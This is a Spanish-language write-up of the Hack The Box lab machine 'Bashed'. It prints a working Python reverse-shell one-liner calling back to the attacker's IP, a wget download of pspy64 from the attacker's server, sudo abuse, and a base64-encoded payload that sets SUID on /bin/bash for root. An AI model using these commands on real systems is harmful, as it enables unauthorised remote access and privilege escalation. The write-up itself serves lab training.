Writeup HTB - Maquina Bashed
Bashed
Resumen
Scan Nmap
Pagina web - Port 80
bueno ya que tenemos solo un puerto esta maquina, revisemos la pagina web para ver que contiene.
vemos que tenemos una aplicacion llamada phpbash, si acedemos al enlace de la pagina vemos una url en la imagen
intentamos acceder a dicha url pero sin exito
tambien vemos que nos proporcionan un repositorio de la aplicacion
por lo tanto hare un escaneo de directorios con dirsearch
bashed # ❯ dirsearch -u http://10.129.160.128 -w /usr/share/wordlists/dirb/common.txt -f -e php,html,js,txt,save,bak
entonces me interesa la ruta dev y vemos que contiene los archivos del repositorio
dicha aplicacion nos permite ejecutar comandos en el servidor de una terminal web
Reverse shell - User www-data
asi que aprovecharemos la ejecucion de comandos para obtener una reverse shell, primero dejaremos el puerto 443 en escucha con netcat
y agremos el siguiente payload a la aplicacion vulnerable
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.54",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("bash")'
logrando conectarnos siendo el user www-data
Escalacion de privilegios - user scripts
revisando los permisos de sudoers, encontramos que podemos ejecutar cualquier comando con el user scriptmanager
www-data@bashed:/tmp$ sudo -l
asi que obtenemos una sesion con dicho usuario de la siguiente manera
www-data@bashed:/tmp$ sudo -u scriptmanager /bin/bash
Escalacion de privilegios - user root
para escalar privilegios descargare en la maquina victima la herramienta pspy64, ya que dicha herramienta monitoreara todo los procesos y tareas que se ejecuten en la maquina victima. Asi pues para realizar este cometido crearemos un servidor web en python
bashed # > python3 -m http.server 80
y descargamos nuestra herramienta de la siguiente manera
www-data@bashed:/tmp$ wget http://10.10.14.54/pspy64
ejecutamos nuestra herramienta pspy64
scriptmanager@bashed:/scripts$ chmod +x pspy64
scriptmanager@bashed:/scripts$ ./pspy64
notamos que se esta ejecutando un script test.py
si revisamos la carpeta de dicho archivo vemos que podriamos modificar test.py para ejecutar algun comando que nos ayude a escalar privilegios a root
Por lo tanto modificaremos test.py de esta manera para otorgar permisos de suid al binario bash de esa manera podremos lograr ser root!!
scriptmanager@bashed:/scripts$ echo aW1wb3J0IG9zCm9zLnN5c3RlbSgnY2htb2QgdStzIC9iaW4vYmFzaCcp | base64 -d > test.py
scriptmanager@bashed:/scripts$ cat test.py
import os
os.system('chmod u+s /bin/bash')
esperamos un momento y revisamos los permisos de /bin/bash, vemos que todo funciono
asi que ejecutamos /bin/bash para ser root!!
gracias por ver este writeup, espero que te hayas divertido tanto como yo me diverti haciendolo. Nos vemos Abeljm